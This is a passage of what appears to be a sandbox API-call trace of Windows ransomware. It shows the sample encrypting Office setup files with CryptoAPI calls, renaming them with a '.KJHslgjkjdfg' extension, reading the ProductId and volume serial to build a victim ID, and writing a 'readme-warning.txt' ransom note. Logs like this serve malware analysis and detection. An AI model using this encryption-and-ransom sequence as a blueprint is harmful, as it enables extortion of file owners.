returned 0x2f0ee68 [0170.102] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.102] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.102] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x6, lpOverlapped=0x0) returned 1 [0170.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.104] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.104] GetProcessHeap () returned 0x2ef0000 [0170.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.104] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.104] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.104] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.104] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.104] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.105] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.105] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.105] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.105] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.105] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.105] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.105] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x93a, lpOverlapped=0x0) returned 1 [0170.105] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x940, dwBufLen=0x940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x940) returned 1 [0170.105] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.105] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x940, lpOverlapped=0x0) returned 1 [0170.105] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.105] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.105] SetEndOfFile (hFile=0x118) returned 1 [0170.108] GetProcessHeap () returned 0x2ef0000 [0170.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.108] GetProcessHeap () returned 0x2ef0000 [0170.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.111] CloseHandle (hObject=0x118) returned 1 [0170.111] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.111] GetProcessHeap () returned 0x2ef0000 [0170.111] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.111] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.111] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.112] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.112] GetProcessHeap () returned 0x2ef0000 [0170.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.112] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.112] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.112] GetProcessHeap () returned 0x2ef0000 [0170.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.112] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.112] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.112] GetProcessHeap () returned 0x2ef0000 [0170.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.113] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.113] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.113] GetProcessHeap () returned 0x2ef0000 [0170.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.113] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.113] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.113] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.113] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.113] RegCloseKey (hKey=0x118) returned 0x0 [0170.113] GetProcessHeap () returned 0x2ef0000 [0170.114] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.114] GetProcessHeap () returned 0x2ef0000 [0170.114] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.114] GetProcessHeap () returned 0x2ef0000 [0170.114] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.114] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.114] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.114] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.114] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.114] GetProcessHeap () returned 0x2ef0000 [0170.114] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.114] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.115] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.115] GetProcessHeap () returned 0x2ef0000 [0170.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.115] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt") returned 113 [0170.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.118] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.120] CloseHandle (hObject=0x118) returned 1 [0170.120] GetProcessHeap () returned 0x2ef0000 [0170.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.120] GetProcessHeap () returned 0x2ef0000 [0170.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.120] GetProcessHeap () returned 0x2ef0000 [0170.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.120] GetProcessHeap () returned 0x2ef0000 [0170.120] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.120] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.121] GetProcessHeap () returned 0x2ef0000 [0170.121] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.121] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0170.121] GetProcessHeap () returned 0x2ef0000 [0170.121] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc8) returned 0x2f14588 [0170.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.122] GetProcessHeap () returned 0x2ef0000 [0170.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.122] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.122] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0170.122] GetProcessHeap () returned 0x2ef0000 [0170.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ca) returned 0x2f47728 [0170.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.122] GetProcessHeap () returned 0x2ef0000 [0170.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.123] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.123] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.123] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xe, lpOverlapped=0x0) returned 1 [0170.125] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.125] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.125] GetProcessHeap () returned 0x2ef0000 [0170.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.125] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.125] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.125] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.125] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.126] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.126] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.126] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.126] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.131] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.131] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.131] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x10b2, lpOverlapped=0x0) returned 1 [0170.144] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x10c0) returned 1 [0170.144] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x10c0, lpOverlapped=0x0) returned 1 [0170.145] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.145] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.145] SetEndOfFile (hFile=0x118) returned 1 [0170.157] GetProcessHeap () returned 0x2ef0000 [0170.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.157] GetProcessHeap () returned 0x2ef0000 [0170.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0170.163] CloseHandle (hObject=0x118) returned 1 [0170.163] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0170.163] GetProcessHeap () returned 0x2ef0000 [0170.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.163] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.163] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.163] GetProcessHeap () returned 0x2ef0000 [0170.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.163] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.163] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.163] GetProcessHeap () returned 0x2ef0000 [0170.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.164] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.164] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.164] GetProcessHeap () returned 0x2ef0000 [0170.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.164] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.164] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.164] GetProcessHeap () returned 0x2ef0000 [0170.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.164] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.164] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.164] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.164] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.164] RegCloseKey (hKey=0x118) returned 0x0 [0170.164] GetProcessHeap () returned 0x2ef0000 [0170.164] 